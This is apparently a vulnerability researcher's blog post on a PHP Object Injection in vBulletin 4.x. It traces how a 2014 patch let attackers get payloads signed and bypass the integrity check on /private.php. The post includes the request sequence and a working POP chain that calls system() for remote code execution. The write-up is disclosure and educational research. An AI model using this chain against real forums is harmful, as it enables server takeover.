Riding The Time Machine: Journey Through An Old vBulletin PHP Object Injection

Dust off your dial-up modem and fire up your favorite IRC client — today, we’re boarding a time machine straight into the golden era of web forums. About a decade ago, somewhere between the rise of jQuery and the fall of Flash, vBulletin 4.x was king. It powered countless online communities, from gaming clans to enterprise tech support boards. And like many kings of old, it had its share of dark secrets.

In this blog post, we’ll be digging into a pretty esoteric PHP Object Injection vulnerability I recently spotted on certain vBulletin 4.x versions — a relic from an age when serialized payloads, autoloading classes, and magic methods ran wild, and vBulletin was thought to be immune to them… While the affected versions are considered obsolete by today’s standards (and surprisingly still quite widespread nowadays), the vulnerability offers a fascinating glimpse into how this flaw was introduced and how it might be exploited in real-world scenarios — and still serves as a timely reminder of the dangers of insecure deserialization.

What makes this vulnerability especially amusing (or tragic, depending on your mood) is that it seems to have been introduced as part of an attempt to fix other, alleged PHP Object Injection vulnerabilities… 😆 The supposed “security patches” released on March 2014 didn’t close the door — they just opened a slightly different window. It’s a classic case of trading one vulnerability for another, proving once again that rushed security patches in legacy codebases can sometimes do more harm than good.

📄 TL;DR:

In vBulletin 4.x, a flawed security patch from 2014 has introduced a new post-auth PHP Object Injection vector by replacing serialize() with json_encode() — ironically making it possible to get vBulletin to sign attacker-controlled base64-encoded payloads, potentially allowing users to perform RCE attacks by invoking /private.php in a malicious fashion.

• Vulnerability Analysis

Do you recall the vBulletin “movepm” PHP Object Injection vulnerability I documented back in 2022, which exists in all 5.x versions prior to 5.5.3? Well, a very similar vulnerability exists in some 4.x versions too — with the same action name, “movepm”, and the same parameter name, “messageids”… Thus it may be considered as “the mother of the vulnerability” I blogged about in 2022! 🙃

The vulnerability exists for sure on vBulletin version 4.2.3, so we’ll use this version in the following references. The entry point for this PHP Object Injection, the vulnerable call to the unserialize() PHP function, is located within the /private.php script:

695// ############################### start move pms ###############################
696if ($_POST['do'] == 'movepm')
697{
698	$vbulletin->input->clean_array_gpc('p', array(
699		'folderid'   => TYPE_INT,
700		'messageids' => TYPE_STR,
701	));
702
703	$vbulletin->GPC['messageids'] = @unserialize(verify_client_string($vbulletin->GPC['messageids']));
704
705	if (!is_array($vbulletin->GPC['messageids']) OR empty($vbulletin->GPC['messageids']))
706	{
707		eval(standard_error(fetch_error('invalidid', $vbphrase['private_message'], $vbulletin->options['contactuslink'])));
708	}
709
710	$pmids = array();
711	foreach ($vbulletin->GPC['messageids'] AS $pmid)
712	{
713		$id = intval($pmid);
714		$pmids["$id"] = $id;
715	}

Like in the other “movepm” vulnerability, user input passed through the “messageids” POST parameter will be used in a call to the unserialize() PHP function at line 703. As such, a malicious, authenticated user might be able to send a specially crafted serialized string (a so-called “POP chain”) that might result in a PHP Object Injection, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code… Not so fast: first of all, that would be pretty “straightforward” without that call to the verify_client_string() function, so we have to deal with it!

As such, let’s first take a look at the source code of this function, which is defined into the /includes/functions.php script:

2725/**
2726* Verifies a string return from a client that it has been unaltered
2727*
2728* @param	string	String from the client to be verified
2729*
2730* @return	string|boolean	String without the verification hash or false on failure
2731*/
2732function verify_client_string($string, $extra_entropy = '')
2733{
2734	if (substr($string, 0, 4) == 'B64:')
2735	{
2736		$firstpart = substr($string, 4, 40);
2737		$return = substr($string, 44);
2738		$decode = true;
2739	}
2740	else
2741	{
2742		$firstpart = substr($string, 0, 40);
2743		$return = substr($string, 40);
2744		$decode = false;
2745	}
2746
2747	if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
2748	{
2749		return ($decode ? vb_base64_decode($return) : $return);
2750	}
2751
2752	return false;
2753}

As the comments suggest, the verify_client_string() function is responsible for verifying whether a string meant to be sent to the client has been tampered with. It does so by implementing a signature-checking mechanism using the SHA-1 hash function (line 2747), combined with a “salt” derived from the COOKIE_SALT constant — a random string generated during installation. Furthermore, at the very beginning of the function, at line 2734, there’s an if condition to check whether the input string starts with the B64: prefix; in such a case, the rest of the string will be treated as base64-encoded data, therefore it will be base64-decoded if the signature matches… Please keep in mind this detail, as it is a crucial part to exploit the vulnerability.

At this point, one might first consider to look for a “File Disclosure” vulnerability, to read the value of the COOKIE_SALT constant, which is stored within the /includes/functions.php script. This would allow an attacker to forge arbitrary, signed strings, and submit a crafted serialized string (the “POP chain”) that will result in a PHP Object Injection… But that’s another story!

The verify_client_string() function is supposed to process strings generated by the sign_client_string() function, which is itself defined within the /includes/functions.php script:

2702/**
2703* Signs a string we intend to pass to the client but don't want them to alter
2704*
2705* @param	string	String to be signed
2706*
2707* @return	string	... hash followed immediately by the string
2708*/
2709function sign_client_string($string, $extra_entropy = '')
2710{
2711	if (preg_match('#[\x00-\x1F\x80-\xFF]#s', $string))
2712	{
2713		$string = vb_base64_encode($string);
2714		$prefix = 'B64:';
2715	}
2716	else
2717	{
2718		$prefix = '';
2719	}
2720
2721	return $prefix . sha1($string . sha1(COOKIE_SALT) . $extra_entropy) . $string;
2722}

As such, instead of looking for a “File Disclosure” vulnerability to leak the COOKIE_SALT constant, I decided to first identify where in the codebase this function is going to be used, and so I launched a grep command like this:

$ grep -rn sign_client_string *

[...]

includes/functions_login.php:460:		$vbulletin->GPC['postvars'] = sign_client_string(json_encode($postvars));
includes/functions_misc.php:760:	return '<input type="hidden" name="postvars" value="' . htmlspecialchars_uni(sign_client_string($string)) . '" />' . "\n";
includes/functions.php:2685:	$cookie = sign_client_string($cookie);

[...]

Let’s consider the result from the /includes/functions_misc.php script; it leads to the construct_post_vars_html() function:

743/**
744* Returns a hidden input field containing the serialized $_POST array
745*
746* @return	string	HTML code containing hidden fields
747*/
748function construct_post_vars_html()
749{
750	global $vbulletin;
751
752	$vbulletin->input->clean_gpc('p', 'postvars', TYPE_BINARY);
753	if ($vbulletin->GPC['postvars'] != '' AND verify_client_string($vbulletin->GPC['postvars']) !== false)
754	{
755		return '<input type="hidden" name="postvars" value="' . htmlspecialchars_uni($vbulletin->GPC['postvars']) . '" />' . "\n";
756	}
757	else if ($vbulletin->superglobal_size['_POST'] > 0)
758	{
759		$string = json_encode($_POST);
760		return '<input type="hidden" name="postvars" value="' . htmlspecialchars_uni(sign_client_string($string)) . '" />' . "\n";
761	}
762	else
763	{
764		return '';
765	}
766}

So this function returns an HTML input field containing the serialized $_POST array, by first JSON-encoding the array itself (at line 759), and then using the sign_client_string() function with the resulting JSON-encoded data (line 760). I think this is the most interesting part of our vulnerability: before applying the supposed “security patches” released on March 2014 to a vBulletin 4.x instance, version 4.2.2 or before, the construct_post_vars_html() function looked like this:

748function construct_post_vars_html()
749{
750	global $vbulletin;
751
752	$vbulletin->input->clean_gpc('p', 'postvars', TYPE_BINARY);
753	if ($vbulletin->GPC['postvars'] != '' AND verify_client_string($vbulletin->GPC['postvars']) !== false)
754	{
755		return '<input type="hidden" name="postvars" value="' . htmlspecialchars_uni($vbulletin->GPC['postvars']) . '" />' . "\n";
756	}
757	else if ($vbulletin->superglobal_size['_POST'] > 0)
758	{
759		return '<input type="hidden" name="postvars" value="' . htmlspecialchars_uni(sign_client_string(serialize($_POST))) . '" />' . "\n";
760	}
761	else
762	{
763		return '';
764	}
765}

Apparently, they thought they were vulnerable to some PHP Object Injection attacks (even though I don’t really see how), and so here they have replaced serialize($_POST) with json_encode($_POST), while in other parts of the codebase they have replaced unserialize() with json_decode() respectively. This “sneaky” change actually has introduced another vulnerability: the opportunity for an attacker to “sign” semi-arbitrary base64 strings, and have them successfully base64-decoded first, and then deserialized, by invoking the /private.php script in a malicious fashion.

To understand how this is possible, let’s do a grep as the following — in order to find out where the construct_post_vars_html() function is going to be used:

$ grep -rn construct_post_vars_html *
forumdisplay.php:204:		$postvars = construct_post_vars_html()
includes/adminfunctions.php:73:	$postvars = construct_post_vars_html();
includes/functions_misc.php:748:function construct_post_vars_html()
includes/functions.php:4058:		$postvars = construct_post_vars_html();
includes/functions.php:5723:			construct_post_vars_html() . $security_token_html,

Let’s focus on the result from the /includes/adminfunctions.php script; it leads to the print_cp_login() function:

/**
* Displays the login form for the various control panel areas
*
* The actual form displayed is dependent upon the VB_AREA constant
*/
function print_cp_login($mismatch = false)
{
	global $vbulletin, $vbphrase;

	if ($vbulletin->GPC['ajax'])
	{
		print_stop_message('you_have_been_logged_out_of_the_cp');
	}

    [...]

	require_once(DIR . '/includes/functions_misc.php');
	$postvars = construct_post_vars_html();

    [...]

    	<input type="hidden" name="vb_login_md5password" value="" />
		<input type="hidden" name="vb_login_md5password_utf" value="" />
		<?php echo $postvars ?>

In turn, the print_cp_login() function will be called when trying to access vBulletin’s Admin Control Panel without being authenticated as an Administrator user. That means if we try to send a POST HTTP request to the /admincp/index.php script, vBulletin will sign for us the JSON representation of our POST parameters — json_encode($_POST) — returning the “signed string” within the HTML code, including the hash required by verify_client_string() to check the “signature”! 🔥

Example HTTP request:

POST /admincp/index.php HTTP/1.1
Host: [vbulletinsite]
Content-Type: application/x-www-form-urlencoded

param_name=param_value

Response:

HTTP/1.1 200 OK

[...]

<input type="hidden" name="vb_login_md5password" value="" />
<input type="hidden" name="vb_login_md5password_utf" value="" />
<input type="hidden" name="postvars" value="c9baedacb8d544de3edd9b0cf728226bc16980dc{&quot;param_name&quot;:&quot;param_value&quot;,&quot;adminhash&quot;:null,&quot;ajax&quot;:null,&quot;postvars&quot;:null}" />

[...]

As you can see, the response includes a postvars input HTML tag, whose value decodes to the following string:

c9baedacb8d544de3edd9b0cf728226bc16980dc{"param_name":"param_value","adminhash":null,"ajax":null,"postvars":null}

So, in the first 40 characters we got our SHA-1 hash (the “signature”), then we have our signed, JSON-encoded POST array merged with some other data. But what if instead of param_name we try to submit a “POP chain” encoded in base64? Let’s find it out!

So, this is our basic and trivial “POP chain”, lol:

O:8:"stdClass":0:{}

When encoded in base64, it translates to the following:

Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

As such, we can submit an HTTP request like the following:

POST /admincp/index.php HTTP/1.1
Host: [vbulletinsite]
Content-Type: application/x-www-form-urlencoded

Tzo4OiJzdGRDbGFzcyI6MDp7fQ%3D%3D=1

Response:

HTTP/1.1 200 OK

[...]

<input type="hidden" name="vb_login_md5password" value="" />
<input type="hidden" name="vb_login_md5password_utf" value="" />
<input type="hidden" name="postvars" value="a1f04ef621a2f45f40d0da19641c7ad54ce3ff12{&quot;Tzo4OiJzdGRDbGFzcyI6MDp7fQ==&quot;:&quot;1&quot;,&quot;adminhash&quot;:null,&quot;ajax&quot;:null,&quot;postvars&quot;:null}" />

[...]

So we get the following “signed string”:

a1f04ef621a2f45f40d0da19641c7ad54ce3ff12{"Tzo4OiJzdGRDbGFzcyI6MDp7fQ==":"1","adminhash":null,"ajax":null,"postvars":null}

Now, what happens if we try to submit the above string as the value for the “messageids” POST parameter to the /private.php script? 💡 Well, not exactly that string, but the following one:

B64:a1f04ef621a2f45f40d0da19641c7ad54ce3ff12{"Tzo4OiJzdGRDbGFzcyI6MDp7fQ==":"1","adminhash":null,"ajax":null,"postvars":null}

Remember the B64: prefix used within the verify_client_string() function? By prepending this prefix to our “signed string”, its “signed payload” will be treated as base64-encoded data, and so it will be successfully decoded as the following string:

O:8:"stdClass":0:{}
Zvh���!��ej6���e��-����e

🔍 Key Detail:

This happens because the base64_decode() PHP function merely ignores characters not mapped to the base64 alphabet, so the first two characters of our “signed payload”, specifically { and ", will be omitted! On the other hand, base64_decode() will also try to decode the rest of the string, resulting in the above garbage data after our “POP chain”… Well, fortunately for us, and unfortunately for vBulletin, the unserialize() PHP function will stop parsing before this garbage data, ignoring it, and the stdClass object will be successfully deserialized, as you can see here. As a consequence, we achieved a post-auth PHP Object Injection primitive! 😎

Now it should be clear why the supposed “security patches” released on March 2014 have inadvertently introduced this vulnerability: by using json_encode($_POST) instead of serialize($_POST), it may be possible to “sign” these semi-arbitrary base64-encoded strings and subsequently bypass the integrity check within the verify_client_string() function. This wouldn’t be possible when using serialize($_POST) because the resulting “signed string” would be something like the following:

920f794853dc0661dc8d05785c4b23b705a9e506a:4:{s:28:"Tzo4OiJzdGRDbGFzcyI6MDp7fQ==";s:1:"1";s:9:"adminhash";N;s:4:"ajax";N;s:8:"postvars";N;}

Since the serialized payload starts with a:, the base64_decode() PHP function will immediately start the decoding process by decoding the a, and then all the rest, eventually resulting in broken decoded data, as you can see here.

• Vulnerability Exploitation

Now that we got a PHP Object Injection primitive, let’s try to build a cool “POP chain” by abusing classes from the vBulletin 4.x codebase, possibly allowing to perform Remote Code Execution (RCE) attacks!

Spoiler alert: I actually discovered such a “POP chain” a while ago, as a sort of practice, but I never found a way to use it, until a couple of weeks ago, when I discovered the aforementioned issue that bypasses vBulletin’s integrity checks…

After grepping for magic methods within the codebase, we can soon realize we don’t have many methods to work with, but there’s an interesting one that could be used as the beginning of our “POP chain”. That’s the vB_Route::__toString() magic method, defined within the /vb/route.php script:

275	public function __toString()
276	{
277		try
278		{
279			// Ensure the route path is fresh
280			$this->assertRoutePath();
281
282			return $this->_route_path;
283		}
284		catch (exception $e)
285		{
286			return vB_Router::get500Path();
287		}
288	}

The vB_Route::assertRoutePath() method, called at line 280, will firstly invoke the vB_Route::parseRoutePath() method. So, let’s take a look at its source code:

600	protected function parseRoutePath()
601	{
602		// We only parse the original route path once
603		if ($this->_parsed)
604		{
605			return;
606		}
607
608		$this->_parsed = true;
609
610		// Ensure the segment scheme is valid
611		$this->validateSegmentScheme();
612		// If no route path was given, use the scheme's default values
613		if (!$this->_route_path)
614		{
615			// the default segment values are used
616			foreach ($this->_segment_scheme AS $name => $segment)
617			{
618				if (!$this->validateSegment($name, $this->_segment_scheme[$name]['default']))
619				{
620					throw (new vB_Exception_Router('The default value \'' . $this->_segment_scheme[$name]['default'] . '\ is not valid for the segment \'' . $name . '\''));
621				}
622
623				// validate the segment value and transform if applicable
624				$this->setSegment($name, $this->_segment_scheme[$name]['default']);
625			}
626
627			return;
628		}

If we set the vB_Route::$_validated_scheme property to true, the call to the vB_Route::validateSegmentScheme() method at line 611 can be considered nulled, because the method will immediately return:

709	protected function validateSegmentScheme()
710	{
711		if ($this->_validated_scheme)
712		{
713			return;
714		}

As such, execution will continue back into the vB_Route::parseRoutePath() method, until line 616, where a foreach loop is being used with the vB_Route::$_segment_scheme property! As a consequence, the next object in our “POP chain” might be an instance of a class which implements the Iterator PHP interface, and within our “POP chain” this should be assigned to the vB_Route::$_segment_scheme property. Well, there’s only one class like that within this codebase, and that’s the vB_dB_Result class. Fortunately for us, the vB_dB_Result::rewind() method might be abused to transfer the execution flow into the vB_Database::free_result() method!

Class: vB_dB_Result — File: /vb/db/result.php:

116	/* standard iterator method */
117	public function rewind()
118	{
119		if ($this->recordset)
120		{
121			$this->db->free_result($this->recordset);
122		}

Luckily enough, this is the end of our “POP chain”: by assigning to the vB_dB_Result::$db property a vB_Database object, the vB_Database::free_result() method will be invoked, and it allows us to call any function passing an arbitrary parameter to it, which we can also control — the function name through the vB_Database::$functions property, while the parameter through the vB_dB_Result::$recordset property! Pretty easy and straightforward!!

Class: vB_Database — File: /includes/class_core.php:

918	function free_result($queryresult)
919	{
920		$this->sql = '';
921		return @$this->functions['free_result']($queryresult);
922	}

Wrapping up, a “POP chain” that might allow execution of arbitrarty OS commands can be made by something like the following:

class vB_Database
{
	public $functions = array("free_result" => "system");
}

class vB_dB_Result
{
	protected $db, $recordset;
	
	function __construct($cmd)
	{
		$this->db = new vB_Database;
		$this->recordset = $cmd;
	}
}

// vB_Route_Error extends vB_Route, which is an abstract class
class vB_Route_Error
{
	protected $_segment_scheme, $_validated_scheme = true;
	
	function __construct($cmd)
	{
		$this->_segment_scheme = new vB_dB_Result($cmd);
	}
}

$chain = serialize(new vB_Route_Error("pwd; id; uname -a"));

However, now we got a small problem: we would need a way to trigger a call to the vB_Route_Error::__toString() magic method, the beginning of our “POP chain”. So, we have to look back at the /private.php script source code, posted above. At line 705, there’s an if condition to check whether the deserialized value is an array, if not an error will be thrown. So, if we provide a serialized array, and we insert our “POP chain” as an element of the array, we can reach the foreach loop at line 711. On the other hand, this only uses the intval() PHP function with each array element at line 713, and (AFAICS) with this function there’s no way to trigger a call to the __toString() magic method of our vB_Route_Error object… 😑

So here’s my solution to this problem — if anybody would find another RCE “POP chain” that works regardless of the PHP version, they will become my hero!

As you can see here, when a vulnerable instance of vBulletin 4.x is running on PHP 5.3.0 through 5.3.29, 5.4.0 through 5.4.37, 5.5.0 through 5.5.21, or 5.6.0 through 5.6.5, it may be possible to trigger a call to our __toString() magic method by deserializing a simple instance of the DateTime PHP class, because of its __wakeup() magic method treats the DateTime::$date property as a string!

As such, the beginning of our “POP chain” would become a DateTime object, “attaching” the rest of our chain to its DateTime::$date property; this would only work if vBulletin is running over one of those PHP versions, but please remember we’re riding the time machine now, going back to a period from March 2014 (when the supposed “security patches” were released), until February 2015 (when PHP 5.6.6 was released), and potentially even later, up to May 2017 (when vBulletin 4.2.5 was officially released)! 🕰️ 🚀

So, to make the final “POP chain” we can do something like the following:

[...]

$chain = serialize(new vB_Route_Error("pwd; id; uname -a"));
$chain = 'O:8:"DateTime":1:{s:4:"date";'.$chain.'}';

Here you can find a full working Proof of Concept (PoC) script to reproduce this exploit chain. It’s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:

NOTE: the exploit has been successfully tested and confirmed to be working with vBulletin versions 4.2.3 Patch Level 2, 4.2.3, and 4.2.2 with the “security patches” applied; all tests have been performed with vBulletin running on PHP version 5.6.5. I’m not 100% sure about version 4.2.4, but the “movepm” PHP Object Injection vulnerability looks fixed on vBulletin version 4.2.5, where they have replaced the call to the unserialize() PHP function with a call to their own vb_unserialize() function.

Conclusion

This vulnerability in vBulletin 4.x — ironically introduced by a misguided patch meant to improve security — is a textbook case of how insecure deserialization can creep into legacy applications through overconfident assumptions and hasty fixes. By replacing serialize() with json_encode() in an attempt to fix alleged PHP Object Injection vulnerabilities, the developers inadvertently made it possible for attackers to sign and submit base64-encoded payloads. These payloads can then be used to trigger a call to the unserialize() PHP function, enabling the deserialization of malicious objects.

The real kicker, however, is the creative abuse of this behavior to produce a fully signed postvars value that bypasses integrity checks. By leveraging the flexible behavior of PHP’s base64_decode() function (which ignores invalid characters) and combining it with vBulletin’s own input verification logic, a malicious payload can slip through and reach unserialize() almost cleanly — a clever and subtle exploit path!

And it gets even better. I also managed to discover a “POP chain” that leverages PHP’s DateTime class, which is known to invoke its __wakeup() magic method. If chained correctly through vBulletin’s own class structures, this can lead to Remote Code Execution (RCE) upon deserialization. This elevates the impact from a “mere” PHP Object Injection primitive to full arbitrary code execution, showing just how dangerous insecure deserialization can become when complex object hierarchies are involved.

Ultimately, this vulnerability underscores the long-term consequences of insecure serialization practices and the risks of patching without fully understanding the implications. Even in a legacy codebase from over a decade ago, modern exploitation techniques can still apply — making this a ride through time that’s simultaneously nostalgic, innovative, and educational! 🕰️ 🚀